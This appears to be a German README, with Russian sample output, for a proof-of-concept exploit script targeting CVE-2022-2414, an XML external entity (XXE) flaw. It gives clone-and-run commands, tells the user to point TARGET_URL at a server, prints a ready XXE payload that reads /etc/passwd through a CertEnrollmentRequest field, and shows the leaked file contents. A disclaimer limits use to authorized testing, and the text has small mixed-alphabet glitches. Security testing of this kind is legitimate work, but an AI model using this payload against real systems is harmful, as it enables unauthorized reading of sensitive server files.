
ist ein PoC-Skript, das die Ausnutzung einer XML-External-Entity-Sicherheitslücke (XXE) demonstriert.
GenXMLExternalEntityExploit ist ein PoC-Skript zur Demonstration der Ausnutzung einer XML-External-Entity-Schwachstelle (XXE). Das Skript verwendet XML-Payloads, um vertrauliche Dateien von einem Zielserver auszulesen. Es kann für Sicherheitstests, Penetrationstests oder zu Bildungszwecken verwendet werden.
git clone https://github.com/geniuszly/CVE-2022-2414
cd CVE-2022-2414
python3 GenXMLExternalEntityExploit.py
TARGET_URL im Skript, um auf den zu testenden Zielserver zu verweisen.XML_PAYLOAD im Skript für bestimmte Dateipfade oder serverseitige Operationen an.Standardmäßig verwendet das Skript den folgenden Payload, um die Datei /etc/passwd auszulesen:
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Der Autor übernimmt keine Verantwortung für eine unrechtmäßige Nutzung dieses Tools.